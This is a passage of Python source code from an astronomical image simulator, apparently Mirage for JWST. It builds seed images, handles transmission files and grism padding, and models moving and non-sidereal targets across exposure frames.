index=0)\n return base_table\n\n def basic_get_image(self, filename):\n \"\"\"\n Read in image from a fits file\n\n Parameters:\n -----------\n filename : str\n Name of fits file to be read in\n\n Returns:\n --------\n data : obj\n numpy array of data within file\n\n header : obj\n Header from 0th extension of data file\n \"\"\"\n data, header = fits.getdata(filename, header=True)\n if len(data.shape) != 2:\n data, header = fits.getdata(filename, 1)\n return data, header\n\n def grism_factor(self):\n \"\"\"Find the factor by which grism images are oversized compared\n to full frame images\n \"\"\"\n gy, gx = self.transmission_image.shape\n self.grism_direct_factor_x = gx / 2048.\n self.grism_direct_factor_y = gy / 2048.\n\n def prepare_psf_entries(self):\n \"\"\"Get the correct filter and pupil values to use when searching\n for gridded psf libraries\n \"\"\"\n self.psf_pupil = self.params['Readout']['pupil']\n self.psf_filter = self.params['Readout']['filter']\n if self.params['Readout']['pupil'].lower() in ['grismr', 'grismc']:\n self.psf_pupil = 'CLEAR'\n if self.params['Readout']['filter'].lower() in ['gr150r', 'gr150c']:\n self.psf_filter = 'CLEAR'\n\n def prepare_transmission_file(self):\n \"\"\"Read in the transmission file and get into the correct shape in\n order to apply it to the seed image\n \"\"\"\n filename = self.params['Reffiles']['transmission']\n\n if isinstance(filename, str):\n if filename.lower() == 'none':\n filename = None\n\n if filename is not None:\n # Read in file\n try:\n transmission, header = fits.getdata(filename, header=True)\n except:\n raise IOError('WARNING: unable to read in {}'.format(filename))\n else:\n self.logger.info(('No transmission file given. Assuming full transmission for all pixels, '\n 'not including flat field effects. (no e.g. occulters blocking any pixels).'))\n if self.params['Inst']['mode'].lower() in ['imaging', 'ami', 'ts_imaging']:\n transmission = np.ones((2048, 2048))\n header = {'NOMXSTRT': 0, 'NOMYSTRT': 0}\n elif self.params['Inst']['mode'].lower() == 'pom':\n # For pom mode, we treat the situation similar to imaging\n # mode, but use a larger array of 1s, so that we can create\n # a larger seed image\n transmission = np.ones((2322, 2322))\n header = {'NOMXSTRT': 137, 'NOMYSTRT': 137}\n else:\n raise ValueError(('POM transmission file is None, but the observing mode is not '\n '\"imaging\" or \"pom\". Not sure what to do for POM transmission.'))\n\n yd, xd = transmission.shape\n\n # Get the coordinates in the transmission file that correspond to (0,0)\n # on the detector (full frame aperture)\n self.trans_ff_xmin = int(header['NOMXSTRT'])\n self.trans_ff_ymin = int(header['NOMYSTRT'])\n\n # Check that the transmission image contains the entire detector\n if ((xd < 2048) or (yd < 2048)):\n raise ValueError(\"Transmission image is not large enough to contain the entire detector.\")\n if (((self.trans_ff_xmin + 2048) > xd) or ((self.trans_ff_ymin + 2048) > yd)):\n raise ValueError((\"NOMXSTRT, NOMYSTRT in transmission image indicate the entire detector is \"\n \"not contained in the image.\"))\n\n if (self.params['Output']['grism_source_image']) or (self.params['Inst']['mode'] in [\"pom\", \"wfss\", \"ts_grism\"]):\n pass\n else:\n # Imaging modes here. Cut the transmission file down to full frame,\n # and then down to the requested aperture\n transmission = transmission[self.trans_ff_ymin: self.trans_ff_ymin+2048, self.trans_ff_xmin: self.trans_ff_xmin+2048]\n\n # Crop to expected subarray\n try:\n transmission = transmission[self.subarray_bounds[1]:self.subarray_bounds[3]+1,\n self.subarray_bounds[0]:self.subarray_bounds[2]+1]\n except:\n raise ValueError(\"Unable to crop transmission image to expected subarray.\")\n\n self.transmission_image = transmission\n\n def pad_wfss_subarray(self, seed, seg):\n \"\"\"\n WFSS seed images that are to go into the disperser\n must be full frame (or larger). The disperser cannot\n work on subarray images. So embed the subarray seed image\n in a full-frame sized array.\n\n Parameters:\n -----------\n None\n\n Returns:\n --------\n Padded seed image and segmentation map\n \"\"\"\n seeddim = seed.shape\n nx = np.int(2048 * self.grism_direct_factor_x)\n ny = np.int(2048 * self.grism_direct_factor_y)\n ffextrax = np.int((nx - 2048) / 2)\n ffextray = np.int((ny - 2048) / 2)\n bounds = np.array(self.subarray_bounds)\n\n subextrax = np.int((seeddim[-1] - bounds[2]) / 2)\n subextray = np.int((seeddim[-2] - bounds[3]) / 2)\n\n extradiffy = ffextray - subextray\n extradiffx = ffextrax - subextrax\n exbounds = [extradiffx, extradiffy, extradiffx+seeddim[-1]-1, extradiffy+seeddim[-2]-1]\n\n if len(seeddim) == 2:\n padded_seed = np.zeros((ny, nx))\n padded_seed[exbounds[1]:exbounds[3] + 1, exbounds[0]:exbounds[2] + 1] = seed\n padded_seg = np.zeros((ny, nx), dtype=np.int)\n padded_seg[exbounds[1]:exbounds[3] + 1, exbounds[0]:exbounds[2] + 1] = seg\n elif len(seeddim) == 4:\n padded_seed = np.zeros((seeddim[0], seeddim[1], ny, nx))\n padded_seed[:, :, exbounds[1]:exbounds[3] + 1, exbounds[0]:exbounds[2] + 1] = seed\n padded_seg = np.zeros((seeddim[0], seeddim[1], ny, nx), dtype=np.int)\n padded_seg[:, :, exbounds[1]:exbounds[3] + 1, exbounds[0]:exbounds[2] + 1] = seg\n else:\n raise ValueError(\"Seed image is not 2D or 4D. It should be.\")\n return padded_seed, padded_seg\n\n def saveSeedImage(self, seed_image, segmentation_map, seed_file_name):\n \"\"\"Save the seed image and accompanying segmentation map to a\n fits file.\n\n Parameters\n ----------\n seed_image : numpy.ndarray\n Array containing the seed image\n\n segmentation_map : numpy.ndimage\n Array containing the segmentation map\n\n seed_file_name : str\n Name of FITS file to save ``seed_image`` and `segmentation_map``\n into\n \"\"\"\n arrayshape = seed_image.shape\n if len(arrayshape) == 2:\n units = 'ADU/sec'\n yd, xd = arrayshape\n grps = 0\n integ = 0\n tgroup = 0.\n arraygroup = 0\n arrayint = 0\n self.logger.info('Seed image is 2D.')\n elif len(arrayshape) == 3:\n units = 'ADU'\n grps, yd, xd = arrayshape\n integ = 0\n tgroup = self.frametime * (self.params['Readout']['nframe'] + self.params['Readout']['nskip'])\n self.logger.info('Seed image is 3D.')\n elif len(arrayshape) == 4:\n units = 'ADU'\n integ, grps, yd, xd = arrayshape\n tgroup = self.frametime * (self.params['Readout']['nframe'] + self.params['Readout']['nskip'])\n self.logger.info('Seed image is 4D.')\n\n xcent_fov = xd / 2\n ycent_fov = yd / 2\n\n kw = {}\n kw['XCENTER'] = xcent_fov\n kw['YCENTER'] = ycent_fov\n kw['UNITS'] = units\n kw['TGROUP'] = tgroup\n\n # Set FGS filter to \"N/A\" in the output file\n # as this is the value DMS looks for.\n if self.params['Readout']['filter'] == \"NA\":\n self.params['Readout']['filter'] = \"N/A\"\n if self.params['Readout']['pupil'] == \"NA\":\n self.params['Readout']['pupil'] = \"N/A\"\n kw['FILTER'] = self.params['Readout']['filter']\n kw['PUPIL'] = self.params['Readout']['pupil']\n kw['PHOTFLAM'] = self.photflam\n kw['PHOTFNU'] = self.photfnu\n kw['PHOTPLAM'] = self.pivot * 1.e4 # put into angstroms\n kw['NOMXDIM'] = self.nominal_dims[1]\n kw['NOMYDIM'] = self.nominal_dims[0]\n kw['NOMXSTRT'] = np.int(self.coord_adjust['xoffset'] + 1)\n kw['NOMXEND'] = np.int(self.nominal_dims[1] + self.coord_adjust['xoffset'])\n kw['NOMYSTRT'] = np.int(self.coord_adjust['yoffset'] + 1)\n kw['NOMYEND'] = np.int(self.nominal_dims[0] + self.coord_adjust['yoffset'])\n\n # Files/inputs used during seed image production\n kw['YAMLFILE'] = self.paramfile\n kw['GAINFILE'] = self.params['Reffiles']['gain']\n kw['DISTORTN'] = self.params['Reffiles']['astrometric']\n kw['IPC'] = self.params['Reffiles']['ipc']\n kw['CROSSTLK'] = self.params['Reffiles']['crosstalk']\n kw['FLUX_CAL'] = self.params['Reffiles']['flux_cal']\n kw['FTHRUPUT'] = self.params['Reffiles']['filter_throughput']\n kw['PTSRCCAT'] = self.params['simSignals']['pointsource']\n kw['GALAXCAT'] = self.params['simSignals']['galaxyListFile']\n kw['EXTNDCAT'] = self.params['simSignals']['extended']\n kw['MTPTSCAT'] = self.params['simSignals']['movingTargetList']\n kw['MTSERSIC'] = self.params['simSignals']['movingTargetSersic']\n kw['MTEXTEND'] = self.params['simSignals']['movingTargetExtended']\n kw['NONSDRAL'] = self.params['simSignals']['movingTargetToTrack']\n kw['BKGDRATE'] = self.params['simSignals']['bkgdrate']\n kw['TRACKING'] = self.params['Telescope']['tracking']\n kw['POISSON'] = self.params['simSignals']['poissonseed']\n kw['PSFWFE'] = self.params['simSignals']['psfwfe']\n kw['PSFWFGRP'] = self.params['simSignals']['psfwfegroup']\n kw['MRGEVRSN'] = mirage.__version__\n\n # Observations with high data volumes (e.g. moving targets, TSO)\n # can be split into multiple \"segments\" in order to cap the\n # maximum file size\n kw['EXSEGTOT'] = self.total_seed_segments # Total number of segments in exp\n kw['EXSEGNUM'] = self.segment_number # Segment number of this file\n kw['PART_NUM'] = self.segment_part_number # Segment part number of this file\n\n # Total number of integrations and groups in the current segment\n # (combining all parts of the segment)\n kw['SEGINT'] = self.segment_ints\n kw['SEGGROUP'] = self.segment_frames\n\n # Total number of integrations and groups in the exposure\n kw['EXPINT'] = self.params['Readout']['nint']\n kw['EXPGRP'] = self.params['Readout']['ngroup']\n\n # Indexes of the ints and groups where the data in this file go\n # Frame and integration indexes of the segment within the exposure\n kw['SEGFRMST'] = self.segment_frame_start_number\n kw['SEGFRMED'] = self.segment_frame_start_number + grps - 1\n kw['SEGINTST'] = self.segment_int_start_number\n kw['SEGINTED'] = self.segment_int_start_number + self.segment_ints - 1\n\n # Frame and integration indexes of the part within the segment\n kw['PTINTSRT'] = self.part_int_start_number\n kw['PTFRMSRT'] = self.part_frame_start_number\n\n # Seed images provided to disperser are always embedded in an array\n # that is larger than full frame. These keywords describe where the\n # detector is within this oversized array\n if self.params['Inst']['mode'] in ['wfss', 'ts_grism', 'pom']:\n kw['NOMXDIM'] = self.ffsize\n kw['NOMYDIM'] = self.ffsize\n kw['NOMXSTRT'] = self.trans_ff_xmin\n kw['NOMXEND'] = kw['NOMXSTRT'] + self.ffsize - 1\n kw['NOMYSTRT'] = self.trans_ff_ymin\n kw['NOMYEND'] = kw['NOMYSTRT'] + self.ffsize - 1\n\n # TSO-specific header keywords\n if self.params['Inst']['mode'] in ['ts_imaging', 'ts_grism']:\n kw['TSOVISIT'] = True\n else:\n kw['TSOVISIT'] = False\n\n kw['XREF_SCI'] = self.siaf.XSciRef\n kw['YREF_SCI'] = self.siaf.YSciRef\n\n kw['GRISMPDX'] = self.grism_direct_factor_x\n kw['GRISMPDY'] = self.grism_direct_factor_y\n self.seedinfo = kw\n self.saveSingleFits(seed_image, seed_file_name, key_dict=kw, image2=segmentation_map, image2type='SEGMAP')\n\n def combineSimulatedDataSources(self, inputtype, input1, mov_tar_ramp):\n \"\"\"Combine the exposure containing the trailed sources with the\n countrate image containing the static sources\n inputtype can be 'countrate' in which case input needs to be made\n into a ramp before combining with mov_tar_ramp, or 'ramp' in which\n case you can combine directly. Use 'ramp' with\n non-sidereal TRACKING data, and 'countrate' with sidereal TRACKING data\n \"\"\"\n if inputtype == 'countrate':\n # First change the countrate image into a ramp\n yd, xd = input1.shape\n numints = self.params['Readout']['nint']\n num_frames = self.params['Readout']['ngroup'] * \\\n (self.params['Readout']['nframe'] + self.params['Readout']['nskip'])\n self.logger.info(\"Countrate image of synthetic signals being converted to \"\n \"RAPID/NISRAPID integration with {} frames.\".format(num_frames))\n input1_ramp = np.zeros((numints, num_frames, yd, xd))\n for i in range(num_frames):\n input1_ramp[0, i, :, :] = input1 * self.frametime * (i + 1)\n if numints > 1:\n for integ in range(1, numints):\n input1_ramp[integ, :, :, :] = input1_ramp[0, :, :, :]\n\n else:\n # If input1 is a ramp rather than a countrate image\n input1_ramp = input1\n\n # Combine the input1 ramp and the moving target ramp, which are\n # now both RAPID mode\n totalinput = input1_ramp + mov_tar_ramp\n return totalinput\n\n def make_trailed_ramp(self):\n # Create a ramp for objects that are trailing through\n # the field of view during the integration\n mov_targs_ramps = []\n mov_targs_segmap = None\n\n # Only attempt to add ghosts to NIRISS observations where the\n # user has requested it.\n add_ghosts = False\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n add_ghosts = True\n\n if self.params['Telescope']['tracking'].lower() != 'non-sidereal':\n tracking = False\n ra_vel = None\n dec_vel = None\n vel_flag = False\n ra_interp_fncn = None\n dec_interp_fncn = None\n else:\n tracking = True\n ra_vel = self.ra_vel\n dec_vel = self.dec_vel\n vel_flag = self.nonsidereal_pix_vel_flag\n ra_interp_fncn = self.nonsidereal_ra_interp\n dec_interp_fncn = self.nonsidereal_dec_interp\n\n if self.runStep['movingTargets']:\n self.logger.info(\"Adding moving point sources to seed image.\")\n\n mov_targs_ptsrc, mt_ptsrc_segmap = self.movingTargetInputs(self.params['simSignals']['movingTargetList'],\n 'point_source',\n MT_tracking=tracking,\n tracking_ra_vel=ra_vel,\n tracking_dec_vel=dec_vel,\n trackingPixVelFlag=vel_flag,\n non_sidereal_ra_interp_function=ra_interp_fncn,\n non_sidereal_dec_interp_function=dec_interp_fncn,\n add_ghosts=add_ghosts\n )\n\n mov_targs_ramps.append(mov_targs_ptsrc)\n mov_targs_segmap = np.copy(mt_ptsrc_segmap)\n\n # moving target using a sersic object\n if self.runStep['movingTargetsSersic']:\n self.logger.info(\"Adding moving galaxies to seed image.\")\n mov_targs_sersic, mt_galaxy_segmap = self.movingTargetInputs(self.params['simSignals']['movingTargetSersic'],\n 'galaxies',\n MT_tracking=tracking,\n tracking_ra_vel=ra_vel,\n tracking_dec_vel=dec_vel,\n trackingPixVelFlag=vel_flag,\n non_sidereal_ra_interp_function=ra_interp_fncn,\n non_sidereal_dec_interp_function=dec_interp_fncn,\n add_ghosts=add_ghosts\n )\n\n mov_targs_ramps.append(mov_targs_sersic)\n if mov_targs_segmap is None:\n mov_targs_segmap = np.copy(mt_galaxy_segmap)\n else:\n mov_targs_segmap += mt_galaxy_segmap\n\n # moving target using an extended object\n if self.runStep['movingTargetsExtended']:\n self.logger.info(\"Adding moving extended sources to seed image.\")\n mov_targs_ext, mt_ext_segmap = self.movingTargetInputs(self.params['simSignals']['movingTargetExtended'],\n 'extended',\n MT_tracking=tracking,\n tracking_ra_vel=ra_vel,\n tracking_dec_vel=dec_vel,\n trackingPixVelFlag=vel_flag,\n non_sidereal_ra_interp_function=ra_interp_fncn,\n non_sidereal_dec_interp_function=dec_interp_fncn,\n add_ghosts=add_ghosts\n )\n\n mov_targs_ramps.append(mov_targs_ext)\n if mov_targs_segmap is None:\n mov_targs_segmap = np.copy(mt_ext_segmap)\n else:\n mov_targs_segmap += mt_ext_segmap\n\n mov_targs_integration = None\n if self.runStep['movingTargets'] or self.runStep['movingTargetsSersic'] or self.runStep['movingTargetsExtended']:\n # Combine the ramps of the moving targets if there is more than one type\n mov_targs_integration = mov_targs_ramps[0]\n if len(mov_targs_ramps) > 1:\n for i in range(1, len(mov_targs_ramps)):\n mov_targs_integration += mov_targs_ramps[i]\n return mov_targs_integration, mov_targs_segmap\n\n def calcCoordAdjust(self):\n # Calculate the factors by which to expand the output array size, as well as the coordinate\n # offsets between the nominal output array and the input lists if the observation being\n # modeled is wfss\n\n instrument = self.params['Inst']['instrument']\n\n # Normal imaging with grism image requested\n if (instrument.lower() == 'nircam' and self.params['Output']['grism_source_image']) or \\\n (instrument.lower() == 'niriss' and (self.params['Inst']['mode'] in [\"pom\", \"wfss\"] or self.params['Output']['grism_source_image'])):\n self.coord_adjust['x'] = self.grism_direct_factor_x\n self.coord_adjust['y'] = self.grism_direct_factor_y\n self.coord_adjust['xoffset'] = self.trans_ff_xmin + self.subarray_bounds[0]\n self.coord_adjust['yoffset'] = self.trans_ff_ymin + self.subarray_bounds[1]\n\n def non_sidereal_seed(self):\n \"\"\"\n Create a seed EXPOSURE in the case where the instrument is tracking\n a non-sidereal target\n \"\"\"\n # Only attempt to add ghosts to NIRISS observations where the\n # user has requested it.\n add_ghosts = False\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n add_ghosts = True\n\n # Create a count rate image containing only the non-sidereal target(s)\n # These will be stationary in the fov\n nonsidereal_countrate, nonsidereal_segmap, self.ra_vel, self.dec_vel, self.nonsidereal_pix_vel_flag, self.nonsidereal_ra_interp, \\\n self.nonsidereal_dec_interp = self.nonsidereal_CRImage(self.params['simSignals']['movingTargetToTrack'])\n\n # Expand into a RAPID exposure and convert from signal rate to signals\n ns_yd, ns_xd = nonsidereal_countrate.shape\n ns_int = self.params['Readout']['nint']\n ns_group = self.params['Readout']['ngroup']\n ns_nframe = self.params['Readout']['nframe']\n ns_nskip = self.params['Readout']['nskip']\n totframes = ns_group * (ns_nframe + ns_nskip)\n tmptimes = self.frametime * np.arange(1, totframes + 1)\n\n non_sidereal_ramp = np.zeros((ns_int, totframes, ns_yd, ns_xd))\n for i in range(totframes):\n for integ in range(ns_int):\n non_sidereal_ramp[integ, i, :, :] = nonsidereal_countrate * tmptimes[i]\n\n # Now we need to collect all the other sources (point sources,\n # galaxies, extended) in the other input files, and treat them\n # as targets which will move across the field of view during\n # the exposure.\n mtt_data_list = []\n mtt_data_segmap = None\n\n if self.runStep['pointsource']:\n # Now ptsrc is a list, which we need to provide to\n # movingTargetInputs\n self.logger.info(\"Adding moving background point sources to seed image.\")\n mtt_ptsrc, mtt_ptsrc_segmap = self.movingTargetInputs(self.params['simSignals']['pointsource'],\n 'point_source',\n MT_tracking=True,\n tracking_ra_vel=self.ra_vel,\n tracking_dec_vel=self.dec_vel,\n trackingPixVelFlag=self.nonsidereal_pix_vel_flag,\n non_sidereal_ra_interp_function=self.nonsidereal_ra_interp,\n non_sidereal_dec_interp_function=self.nonsidereal_dec_interp,\n add_ghosts=add_ghosts)\n mtt_data_list.append(mtt_ptsrc)\n if mtt_data_segmap is None:\n mtt_data_segmap = np.copy(mtt_ptsrc_segmap)\n else:\n mtt_data_segmap += mtt_ptsrc_segmap\n self.logger.info((\"Done with creating moving targets from {}\"\n .format(self.params['simSignals']['pointsource'])))\n\n if self.runStep['galaxies']:\n self.logger.info(\"Adding moving background galaxies to seed image.\")\n mtt_galaxies, mtt_galaxies_segmap = self.movingTargetInputs(self.params['simSignals']['galaxyListFile'],\n 'galaxies',\n MT_tracking=True,\n tracking_ra_vel=self.ra_vel,\n tracking_dec_vel=self.dec_vel,\n trackingPixVelFlag=self.nonsidereal_pix_vel_flag,\n non_sidereal_ra_interp_function=self.nonsidereal_ra_interp,\n non_sidereal_dec_interp_function=self.nonsidereal_dec_interp,\n add_ghosts=add_ghosts)\n mtt_data_list.append(mtt_galaxies)\n if mtt_data_segmap is None:\n mtt_data_segmap = np.copy(mtt_galaxies_segmap)\n else:\n mtt_data_segmap += mtt_galaxies_segmap\n\n self.logger.info((\"Done with creating moving targets from {}\".\n format(self.params['simSignals']['galaxyListFile'])))\n\n if self.runStep['extendedsource']:\n self.logger.info(\"Adding moving background extended sources to seed image.\")\n mtt_ext, mtt_ext_segmap = self.movingTargetInputs(self.params['simSignals']['extended'],\n 'extended',\n MT_tracking=True,\n tracking_ra_vel=self.ra_vel,\n tracking_dec_vel=self.dec_vel,\n trackingPixVelFlag=self.nonsidereal_pix_vel_flag,\n non_sidereal_ra_interp_function=self.nonsidereal_ra_interp,\n non_sidereal_dec_interp_function=self.nonsidereal_dec_interp,\n add_ghosts=add_ghosts)\n mtt_data_list.append(mtt_ext)\n if mtt_data_segmap is None:\n mtt_data_segmap = np.copy(mtt_ext_segmap)\n else:\n mtt_data_segmap += mtt_ext_segmap\n\n self.logger.info((\"Done with creating moving targets from {}\".\n format(self.params['simSignals']['extended'])))\n\n # Add in the other objects which are not being tracked on\n # (i.e. the sidereal targets)\n # For the moment, we consider all non-sidereal targets to be opaque.\n # That is, if they occult any background sources, the signal from those\n # background sources will not be added to the scene. This is controlled\n # using the segmentation map. Any pixels there classified as containing\n # the non-sidereal target will not have signal from background sources\n # added. I can't think of any non-sidereal targets that would not be\n # opaque, so for now we will leave this hardwired to be on. If there is\n # some issue down the road, we can turn this into a user input in the\n # yaml file.\n opaque_target = True\n if len(mtt_data_list) > 0:\n for i in range(len(mtt_data_list)):\n #non_sidereal_ramp += mtt_data_list[i]\n\n # If the tracked target is opaque (e.g. a planet, astroid, etc),\n # the background (trailed) objects will only be added to the pixels that\n # do not contain the tracked target. (i.e. we shouldn't see background\n # stars that are behind Jupiter).\n if opaque_target:\n # Find pixels that do not contain the tracked target\n # (Note that the segmap here is 2D but the seed images are 4D)\n self.logger.info(('Tracked non-sidereal target is opaque. Background sources behind the target will not be added. '\n 'If background sources are being suppressed in too many pixels (e.g. within the diffraction '\n 'spikes of the primary target), try setting \"signal_low_limit_for_segmap\" in the input yaml '\n 'file to a larger value. This will reduce the number of pixels associated with the primary '\n 'target in the segmentation map, which defines the pixels where background targets will not '\n 'be added.'))\n outside_target = nonsidereal_segmap == 0\n\n # Add signal from background targets only to those pixels that\n # are not part of the tracked target\n for integ in range(ns_int):\n for framenum in range(non_sidereal_ramp.shape[1]):\n ns_tmp_frame = non_sidereal_ramp[integ, framenum, :, :]\n bcgd_srcs_frame = mtt_data_list[i][integ, framenum, :, :]\n ns_tmp_frame[outside_target] = ns_tmp_frame[outside_target] + bcgd_srcs_frame[outside_target]\n non_sidereal_ramp[integ, framenum, :, :] = ns_tmp_frame\n\n if mtt_data_segmap is not None:\n nonsidereal_segmap[outside_target] += mtt_data_segmap[outside_target]\n return non_sidereal_ramp, nonsidereal_segmap\n\n def movingTargetInputs(self, filename, input_type, MT_tracking=False,\n tracking_ra_vel=None, tracking_dec_vel=None,\n trackingPixVelFlag=False, non_sidereal_ra_interp_function=None,\n non_sidereal_dec_interp_function=None, add_ghosts=True):\n \"\"\"Read in listfile of moving targets and perform needed\n calculations to get inputs for moving_targets.py. Note that for non-sidereal\n exposures (MT_tracking == True), we potentially flip the coordinate system, and\n have the non-sidereal target remain at a single RA, Dec, while other sources all\n have changing RA, Dec with time. This flip is only used for long enough to calculate\n the detector x, y position of each target in each frame.\n\n Parameters\n ----------\n\n filename : str\n Name of catalog contining moving target sources\n\n input_type : str\n Specifies type of sources. Can be 'point_source','galaxies', or 'extended'\n\n MT_tracking : bool\n If True, observation is non-sidereal (i.e. telescope is tracking the moving target)\n\n tracking_ra_vel : float\n Velocity of the moving target in the detector x or right ascension direction.\n Units are pixels/hour or arcsec/hour depending on trackingPixVelFlag.\n\n tracking_dec_vel : float\n Velocity of moving target in the detector y or declination direction.\n Units are pixels/hour or arcsec/hour depending on trackingPixVelFlag.\n\n trackingPixVelFlag : bool\n If True, tracking_ra_vel and tracking_dec_vel are in units of pixels/hour, and\n velocities are in the detector x and y directions, respectively.\n If False, velocity untis are arcsec/hour and directions are RA, and Dec.\n\n non_sidereal_ra_interp_function : scipy.interpolate.interp1d\n Interpolation function giving the RA of the non-sidereal source versus calendar\n timestamp\n\n non_sidereal_dec_interp_function : scipy.interpolate.interp1d\n Interpolation function giving the Dec of the non-sidereal source versus calendar\n timestamp\n\n add_ghosts : bool\n If True, add ghost sources corresponding to the sources in the input catalog\n\n Returns\n -------\n\n mt_integration : numpy.ndarray\n 4D array containing moving target seed image\n\n moving_segmap.segmap : numpy.ndarray\n 2D array containing segmentation map that goes with the seed image.\n Segmentation map is based on the final frame in the seed image.\n \"\"\"\n # Read input file - should be able to use for all modes\n mtlist, pixelFlag, pixvelflag, magsys = file_io.readMTFile(filename)\n\n # If there is no ephemeris file given and no x_or_RA_velocity\n # column (i.e. we have a catalog of sidereal sources), then\n # set add the velocity columns and set the velocities to zero.\n # Also set the pixel velocity flag to the same value as the\n # pixel flag, to minimize coordinate transforms later.\n if 'x_or_RA_velocity' not in mtlist.colnames and 'ephemeris_file' not in mtlist.colnames:\n self.logger.info('Sidereal catalog. Setting velocities to zero before proceeding.')\n nelem = len(mtlist['x_or_RA'])\n mtlist['x_or_RA_velocity'] = [0.] * nelem\n mtlist['y_or_Dec_velocity'] = [0.] * nelem\n pixelvelflag = pixelFlag\n\n # Get catalog index numbers\n indexes = mtlist['index']\n\n # Exposure times for all frames\n numints = self.params['Readout']['nint']\n numgroups = self.params['Readout']['ngroup']\n numframes = self.params['Readout']['nframe']\n numskips = self.params['Readout']['nskip']\n numresets = self.params['Readout']['resets_bet_ints']\n\n frames_per_group = numframes + numskips\n frames_per_integration = numgroups * frames_per_group\n total_frames = numgroups * frames_per_group\n # If only one integration per exposure, then total_frames\n # above is correct. For >1 integration, we need to add the reset\n # frame to each integration (except the first), and sum the number of\n # frames for all integrations\n\n if numints > 1:\n # Frames for all integrations\n total_frames *= numints\n # Add the resets for all but the first and last integrations\n total_frames += (numresets * (numints - 1))\n frameexptimes = self.frametime * np.arange(-1, total_frames)\n\n # output image dimensions\n dims = self.nominal_dims\n newdimsx = np.int(dims[1] * self.coord_adjust['x'])\n newdimsy = np.int(dims[0] * self.coord_adjust['y'])\n\n # Set up seed integration\n #mt_integration = np.zeros((numints, total_frames, newdimsy, newdimsx))\n mt_integration = np.zeros((numints, frames_per_integration, newdimsy, newdimsx))\n\n # Corresponding (2D) segmentation map\n moving_segmap = segmap.SegMap()\n moving_segmap.xdim = newdimsx\n moving_segmap.ydim = newdimsy\n moving_segmap.initialize_map()\n\n # Check the source list and remove any sources that are well outside the\n # field of view of the detector. These sources cause the coordinate\n # conversion to hang.\n indexes, mtlist = self.remove_outside_fov_sources(indexes, mtlist, pixelFlag, 4096)\n\n # Determine the name of the column to use for source magnitudes\n mag_column = self.select_magnitude_column(mtlist, filename)\n\n # If any ephemeris file will be used, get the calendar dates associated\n # with each frame\n if 'ephemeris_file' in mtlist.colnames or non_sidereal_ra_interp_function is not None:\n ob_time = '{}T{}'.format(self.params['Output']['date_obs'], self.params['Output']['time_obs'])\n\n # Allow time_obs to have an integer or fractional number of seconds\n try:\n start_date = datetime.datetime.strptime(ob_time, '%Y-%m-%dT%H:%M:%S')\n except ValueError:\n start_date = datetime.datetime.strptime(ob_time, '%Y-%m-%dT%H:%M:%S.%f')\n all_times = [ephemeris_tools.to_timestamp(start_date + datetime.timedelta(seconds=elem)) for elem in frameexptimes]\n\n # If the ephemeris_file column is not present, add it and populate it with\n # 'none' for all entries. This will make for fewer possibilities when looping\n # over sources later\n if 'ephemeris_file' not in mtlist.colnames:\n mtlist['ephemeris_file'] = ['None'] * len(mtlist['x_or_RA'])\n\n # If there is an interpolation function for the non-sidereal source's position,\n # get the position of the source at all times. The catalog may have different\n # ephemeris files for different sources, so we can't get background source\n # positions here.\n delta_non_sidereal_x = None\n delta_non_sidereal_y = None\n delta_non_sidereal_ra = None\n delta_non_sidereal_dec = None\n if non_sidereal_ra_interp_function is not None:\n self.logger.info((\"Finding non-sidereal source's positions at each frame in order to \"\n \"calculate the offsets to apply to the background sources.\"))\n ra_non_sidereal = non_sidereal_ra_interp_function(all_times)\n dec_non_sidereal = non_sidereal_dec_interp_function(all_times)\n delta_non_sidereal_ra = ra_non_sidereal - ra_non_sidereal[0]\n delta_non_sidereal_dec = dec_non_sidereal - dec_non_sidereal[0]\n elif tracking_ra_vel is not None:\n # If the non-sidereal source velocity is given using manual inputs rather\n # than an ephemeris file, use that to get the source location vs time\n self.logger.info((\"Using the provided non-sidereal velocity values to determine \"\n \"offsets to apply to the background sources.\"))\n if trackingPixVelFlag:\n # Here the non-sidereal source velocity is in units of pix/hour.\n # Convert to pixels per second and multply by frame times\n delta_non_sidereal_x = (tracking_ra_vel / 3600.) * frameexptimes\n delta_non_sidereal_y = (tracking_dec_vel / 3600.) * frameexptimes\n else:\n # Here the non-sidereal source velocity is in units of arcsec/hour.\n # Convert to degrees per hour and multply by frame times\n delta_non_sidereal_ra = (tracking_ra_vel / 3600. / 3600.) * frameexptimes\n delta_non_sidereal_dec = (tracking_dec_vel / 3600. / 3600.) * frameexptimes\n\n # Loop over sources in the catalog\n times = []\n obj_counter = 0\n time_reported = False\n for index, entry in zip(indexes, mtlist):\n start_time = time.time()\n\n # Initialize variables that will hold source locations\n ra_frames = None\n dec_frames = None\n x_frames = None\n y_frames = None\n\n # Get the RA, Dec or x,y for the source in all frames\n # not including any effects from non-sidereal tracking.\n # If an ephemeris file is given read it in\n if entry['ephemeris_file'].lower() != 'none':\n self.logger.info((\"Using ephemeris file {} to find the location of source #{} in {}.\"\n .format(entry['ephemeris_file'], index, filename)))\n ra_eph, dec_eph = ephemeris_tools.get_ephemeris(entry['ephemeris_file'])\n\n # Create list of positions for all frames\n ra_frames = ra_eph(all_times)\n dec_frames = dec_eph(all_times)\n else:\n self.logger.info((\"Using provided velocities to find the location of source #{} in {}.\".format(index, filename)))\n if pixvelflag:\n delta_x_frames = (entry['x_or_RA_velocity'] / 3600.) * frameexptimes\n delta_y_frames = (entry['y_or_Dec_velocity'] / 3600.) * frameexptimes\n else:\n delta_ra_frames = (entry['x_or_RA_velocity'] / 3600. / 3600.) * frameexptimes\n delta_dec_frames = (entry['y_or_Dec_velocity'] / 3600. / 3600.) * frameexptimes\n\n if pixelFlag:\n # Moving target position given in x, y pixel units. Add delta x, y\n # to get target location at each frame\n if pixvelflag:\n x_frames = entry['x_or_RA'] + delta_x_frames\n y_frames = entry['y_or_Dec'] + delta_y_frames\n else:\n # Here we have source locations in x,y but velocities\n # in delta RA, Dec. Translate locations to RA, Dec\n # and then add the deltas\n _, _, entry_ra, entry_dec, pra_str, pdec_str = self.get_positions(entry['x_or_RA'], entry['y_or_Dec'], True, 4096)\n ra_frames = entry_ra + delta_ra_frames\n dec_frames = entry_dec + delta_dec_frames\n x_frames = None\n y_frames = None\n else:\n if pixvelflag:\n # Here locations are in RA, Dec, and velocities are in x, y\n # So translate locations to x, y first.\n entry_x, entry_y, _, _, _, _ = self.get_positions(entry['x_or_RA'], entry['y_or_Dec'], False, 4096)\n x_frames = entry_x + delta_x_frames\n y_frames = entry_y + delta_y_frames\n ra_frames = 